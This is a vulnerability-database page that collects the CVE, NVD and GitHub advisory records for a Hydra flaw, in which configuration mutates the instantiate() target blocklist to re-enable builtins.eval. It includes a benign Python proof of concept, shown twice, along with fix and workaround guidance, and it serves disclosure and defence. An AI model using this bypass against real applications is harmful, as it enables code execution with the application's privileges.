Vulnerability-Lookup

CVE-2026-106439 (GCVE-0-2026-106439)

Vulnerability from cvelistv5 – Published: 2026-10-06 18:49 – Updated: 2026-10-06 19:48

Title

Hydra: Mutable instantiate policy sets allow target blocklist bypass

Summary

Hydra is a framework for elegantly configuring complex applications. From 1.3.4 until 1.3.7 and 1.4.0.dev10, Hydra stores legacy instantiate target blocklists and related execution-policy collections in mutable module-level state. An attacker who controls multiple sibling target entries can resolve hydra._internal.target_policy.UNCONTROLLED_EXECUTION_TARGETS.discard through instantiate(), remove a denied target, and then invoke that target because sibling nodes are processed in insertion order against the same modified policy. The mutation persists in process-global state and can enable code execution with the application's privileges, while a narrow execution whitelist supplied by trusted Python code is not bypassed by the reported direct mutation path. This issue is fixed in versions 1.3.7 and 1.4.0.dev10.

Severity

8.5 (High)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-06 19:48 UTC

CWE

CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
CWE-693 - Protection Mechanism Failure

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/hydra-ecosystem/hydra/security…	x_refsource_CONFIRM
https://github.com/hydra-ecosystem/hydra/commit/0…	x_refsource_MISC
https://github.com/hydra-ecosystem/hydra/commit/4…	x_refsource_MISC
https://github.com/hydra-ecosystem/hydra/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
hydra-ecosystem	hydra	Affected: >= 1.3.4, < 1.3.7 Affected: >= 1.4.0.dev4, < 1.4.0.dev10

Show details on NVD website

JSON

To clipboard

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EUVD-2026-383883

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-06 19:15

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-06T19:15:44.686201+00:00",
  "id": "EUVD-2026-383883"
}

FKIE_CVE-2026-106439

Vulnerability from fkie_nvd - Published: 2026-10-06 19:18 - Updated: 2026-10-06 20:17

Severity

8.5 (High) - CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/hydra-ecosystem/hydra/commit/0dd18084589a3d3e577d1f1a8a48fb485c94a5e6
	security-advisories@github.com	https://github.com/hydra-ecosystem/hydra/commit/4720dfca2bde27fa140ec287a05709668fbdf168
	security-advisories@github.com	https://github.com/hydra-ecosystem/hydra/releases/tag/v1.3.7
	security-advisories@github.com	https://github.com/hydra-ecosystem/hydra/security/advisories/GHSA-mwj6-rfh8-7qf4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/hydra-ecosystem/hydra/security/advisories/GHSA-mwj6-rfh8-7qf4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "hydra",
          "vendor": "hydra-ecosystem",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.3.4, \u003c 1.3.7"
            },
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    }
  ],
  "id": "CVE-2026-106439",
  "lastModified": "2026-10-06T20:17:25.917",
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    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "LOCAL",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.5,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-106439",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-06T19:48:26.207340Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-06T19:18:12.720",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/hydra-ecosystem/hydra/commit/0dd18084589a3d3e577d1f1a8a48fb485c94a5e6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/hydra-ecosystem/hydra/commit/4720dfca2bde27fa140ec287a05709668fbdf168"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/hydra-ecosystem/hydra/releases/tag/v1.3.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/hydra-ecosystem/hydra/security/advisories/GHSA-mwj6-rfh8-7qf4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/hydra-ecosystem/hydra/security/advisories/GHSA-mwj6-rfh8-7qf4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-470"
        },
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-MWJ6-RFH8-7QF4

Vulnerability from github – Published: 2026-10-07 20:23 – Updated: 2026-10-07 20:23

Summary

Hydra: Mutable instantiate policy sets allow target blocklist bypass

Details

Summary

Hydra's legacy instantiate() target blocklists and related execution-policy collections are stored in mutable module-level state. Because _locate() can resolve attributes on imported objects, a configuration can resolve a mutation method such as .discard(), modify the active policy, and then instantiate a target that would otherwise be blocked.

Impact

A configuration controlling multiple sibling _target_ entries can first remove an entry from a target blocklist and then invoke the removed target. Sibling nodes are processed in insertion order and consult the same mutable module-level policy.

This affects the legacy/default path without an execution whitelist. The 1.3 blocklist is a defense-in-depth measure rather than a complete security boundary, and applications must not treat arbitrary untrusted configuration as safe to instantiate or use for Python logging configuration.

Released hydra-core versions 1.3.4 through 1.3.6 and 1.4.0.dev4 through 1.4.0.dev9 are affected. Fixed releases are 1.3.7 and 1.4.0.dev10. The reported direct mutation path does not bypass an execution whitelist restricted to intended application targets and supplied by trusted Python code. During remediation, Hydra additionally hardened generic discovery, dispatch, introspection, alias, callable-result, and deferred-callable paths that could otherwise undermine name-only authorization.

Technical details

In hydra-core 1.3.4 and 1.3.5, the mutable blocklist is reachable as:

hydra._internal.instantiate._instantiate2.DEFAULT_BLOCKLISTED_MODULES

In hydra-core 1.3.6, the expanded policy includes mutable collections in:

hydra._internal.target_policy

For example:

hydra._internal.target_policy.UNCONTROLLED_EXECUTION_TARGETS.discard

resolves to the bound set.discard method. The mutation target itself is not blocked on the legacy path. Once an entry is removed, subsequent authorization checks observe the modified set.

Other runtime policy collections can be attacked similarly by removing denied entries or adding entries to exception sets. Because the collections are module-level state, a successful mutation persists for the lifetime of the Python process unless explicitly reversed.

Safe reproduction

The behavior in hydra-core 1.3.6 can be demonstrated without invoking a shell command. The finally block restores the modified process-global state:

from omegaconf import OmegaConf

from hydra._internal.target_policy import UNCONTROLLED_EXECUTION_TARGETS
from hydra.utils import instantiate

target = "builtins.eval"
assert target in UNCONTROLLED_EXECUTION_TARGETS

try:
    result = instantiate(
        OmegaConf.create(
            {
                "disarm": {
                    "_target_": (
                        "hydra._internal.target_policy."
                        "UNCONTROLLED_EXECUTION_TARGETS.discard"
                    ),
                    "_args_": [target],
                },
                "proof": {
                    "_target_": target,
                    "_args_": ["40 + 2"],
                },
            }
        )
    )

    assert result["proof"] == 42
    assert target not in UNCONTROLLED_EXECUTION_TARGETS
finally:
    UNCONTROLLED_EXECUTION_TARGETS.add(target)

Remediation

The fix makes runtime policy state immutable and integrity checked, and prevents declarative configuration from accessing or mutating Hydra internals and protected Python implementation state. Target authorization now covers canonical resolved identities, aliases, discovery results, callable results, deferred callables, and runtime arguments.

The patch also rejects configuration-driven code, policy, and process- environment mutation, along with unsafe introspection and formatting traversal that can expose protected runtime capabilities.

Hydra 1.3.7 receives these protections as defense in depth; it does not make untrusted configuration sandboxed. Hydra 1.4 additionally uses a trusted, narrowly scoped execution whitelist as the supported security boundary for declarative instantiation and Hydra-controlled Python logging configuration.

Users should upgrade to hydra-core 1.3.7 on the stable line or 1.4.0.dev10 on the development line.

Workarounds

Do not pass configuration from untrusted sources to instantiate() or to Hydra-controlled Python logging configuration. The 1.3 release line has no execution-whitelist facility, so users who cannot upgrade immediately must restrict configuration input to trusted sources.

On affected 1.4 development releases, applications can also supply a trusted, narrowly scoped execution whitelist from Python code. The whitelist itself must not be derived from untrusted configuration.

Restart any long-running process that may already have instantiated untrusted configuration, because a policy mutation persists in process-global state.

Severity

8.5 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "hydra-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.4"
            },
            {
              "fixed": "1.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "hydra-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0.dev4"
            },
            {
              "fixed": "1.4.0.dev10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:23:57Z",
    "nvd_published_at": "2026-10-06T19:18:12Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nHydra\u0027s legacy `instantiate()` target blocklists and related execution-policy\ncollections are stored in mutable module-level state. Because `_locate()` can\nresolve attributes on imported objects, a configuration can resolve a mutation\nmethod such as `.discard()`, modify the active policy, and then instantiate a\ntarget that would otherwise be blocked.\n\n## Impact\n\nA configuration controlling multiple sibling `_target_` entries can first\nremove an entry from a target blocklist and then invoke the removed target.\nSibling nodes are processed in insertion order and consult the same mutable\nmodule-level policy.\n\nThis affects the legacy/default path without an execution whitelist. The 1.3\nblocklist is a defense-in-depth measure rather than a complete security\nboundary, and applications must not treat arbitrary untrusted configuration as\nsafe to instantiate or use for Python logging configuration.\n\nReleased `hydra-core` versions 1.3.4 through 1.3.6 and 1.4.0.dev4 through\n1.4.0.dev9 are affected. Fixed releases are 1.3.7 and 1.4.0.dev10.\nThe reported direct mutation path does not bypass an execution whitelist\nrestricted to intended application targets and supplied by trusted Python\ncode. During remediation, Hydra additionally hardened generic discovery,\ndispatch, introspection, alias, callable-result, and deferred-callable paths\nthat could otherwise undermine name-only authorization.\n\n## Technical details\n\nIn `hydra-core` 1.3.4 and 1.3.5, the mutable blocklist is reachable as:\n\n`hydra._internal.instantiate._instantiate2.DEFAULT_BLOCKLISTED_MODULES`\n\nIn `hydra-core` 1.3.6, the expanded policy includes mutable collections in:\n\n`hydra._internal.target_policy`\n\nFor example:\n\n`hydra._internal.target_policy.UNCONTROLLED_EXECUTION_TARGETS.discard`\n\nresolves to the bound `set.discard` method. The mutation target itself is not\nblocked on the legacy path. Once an entry is removed, subsequent authorization\nchecks observe the modified set.\n\nOther runtime policy collections can be attacked similarly by removing denied\nentries or adding entries to exception sets. Because the collections are\nmodule-level state, a successful mutation persists for the lifetime of the\nPython process unless explicitly reversed.\n\n## Safe reproduction\n\nThe behavior in `hydra-core` 1.3.6 can be demonstrated without invoking a shell\ncommand. The `finally` block restores the modified process-global state:\n\n```python\nfrom omegaconf import OmegaConf\n\nfrom hydra._internal.target_policy import UNCONTROLLED_EXECUTION_TARGETS\nfrom hydra.utils import instantiate\n\ntarget = \"builtins.eval\"\nassert target in UNCONTROLLED_EXECUTION_TARGETS\n\ntry:\n    result = instantiate(\n        OmegaConf.create(\n            {\n                \"disarm\": {\n                    \"_target_\": (\n                        \"hydra._internal.target_policy.\"\n                        \"UNCONTROLLED_EXECUTION_TARGETS.discard\"\n                    ),\n                    \"_args_\": [target],\n                },\n                \"proof\": {\n                    \"_target_\": target,\n                    \"_args_\": [\"40 + 2\"],\n                },\n            }\n        )\n    )\n\n    assert result[\"proof\"] == 42\n    assert target not in UNCONTROLLED_EXECUTION_TARGETS\nfinally:\n    UNCONTROLLED_EXECUTION_TARGETS.add(target)\n```\n\n## Remediation\n\nThe fix makes runtime policy state immutable and integrity checked, and\nprevents declarative configuration from accessing or mutating Hydra internals\nand protected Python implementation state. Target authorization now covers\ncanonical resolved identities, aliases, discovery results, callable results,\ndeferred callables, and runtime arguments.\n\nThe patch also rejects configuration-driven code, policy, and process-\nenvironment mutation, along with unsafe introspection and formatting traversal\nthat can expose protected runtime capabilities.\n\nHydra 1.3.7 receives these protections as defense in depth; it does not make\nuntrusted configuration sandboxed. Hydra 1.4 additionally uses a trusted,\nnarrowly scoped execution whitelist as the supported security boundary for\ndeclarative instantiation and Hydra-controlled Python logging configuration.\n\nUsers should upgrade to `hydra-core` 1.3.7 on the stable line or\n1.4.0.dev10 on the development line.\n\n## Workarounds\n\nDo not pass configuration from untrusted sources to `instantiate()` or to\nHydra-controlled Python logging configuration. The 1.3 release line has no\nexecution-whitelist facility, so users who cannot upgrade immediately must\nrestrict configuration input to trusted sources.\n\nOn affected 1.4 development releases, applications can also supply a trusted,\nnarrowly scoped execution whitelist from Python code. The whitelist itself must\nnot be derived from untrusted configuration.\n\nRestart any long-running process that may already have instantiated untrusted\nconfiguration, because a policy mutation persists in process-global state.",
  "id": "GHSA-mwj6-rfh8-7qf4",
  "modified": "2026-10-07T20:23:58Z",
  "published": "2026-10-07T20:23:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hydra-ecosystem/hydra/security/advisories/GHSA-mwj6-rfh8-7qf4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106439"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hydra-ecosystem/hydra/commit/0dd18084589a3d3e577d1f1a8a48fb485c94a5e6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hydra-ecosystem/hydra/commit/4720dfca2bde27fa140ec287a05709668fbdf168"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hydra-ecosystem/hydra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hydra-ecosystem/hydra/releases/tag/v1.3.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hydra: Mutable instantiate policy sets allow target blocklist bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-106439 (GCVE-0-2026-106439)

EUVD-2026-383883

FKIE_CVE-2026-106439

GHSA-MWJ6-RFH8-7QF4

Summary

Impact

Technical details

Safe reproduction

Remediation

Workarounds

Tags

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